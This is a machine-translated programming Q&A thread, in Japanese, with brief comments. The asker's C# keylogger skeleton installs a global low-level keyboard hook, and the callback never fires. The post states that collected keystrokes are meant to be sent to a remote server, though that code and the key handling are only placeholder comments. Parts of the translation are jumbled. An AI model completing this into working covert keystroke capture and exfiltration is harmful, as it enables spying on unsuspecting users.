私はC#でキーロガーを作成していますが、キーボードイベントから呼び出されるフックメソッドを取得する際に問題があります。私のコードは正しく表示されますが、何らかの理由でコールバックが起こっていません。ここで .NETアプリケーションで低レベルのキーボードフックが呼び出されない
は、関連するコードです:[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
private const int WH_KEYBOARD_LL = 13;
private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);
private static IntPtr HookHandle = IntPtr.Zero;
static void Main()
{
/* install low level global keyboard hook */
HookHandle = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, GetModuleHandle(null), 0);
/* every 60 seconds, process collected keystrokes */
for (;;)
{
Thread.Sleep(60000);
SendKeyData();
}
}
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
/* code to handle key events would be here */
return CallNextHookEx(HookHandle, nCode, wParam, lParam);
}
private static void SendKeyData()
{
/* code to send accumulated keystroke data to remote server would be here */
}
がSetWindowsHookEx
コール(すなわちNOT NULL)それが必要としてハンドルを返すので、それがインストールされていることを意味する必要がありますが、私はHookCallback
にブレークポイントを置くときそれは決して達成されません。
誰でも私が間違っているかもしれないことをアドバイスできますか?
'for'ブロックをコメントアウトすると動作しますか? –
いいえ、私がそれをしてもプロセスはただちに終了しません。 –
無限のforループの代わりにTimerを使用する方が良いでしょう。少なくともタイマーでは、必要に応じて停止することができます。 – jlafay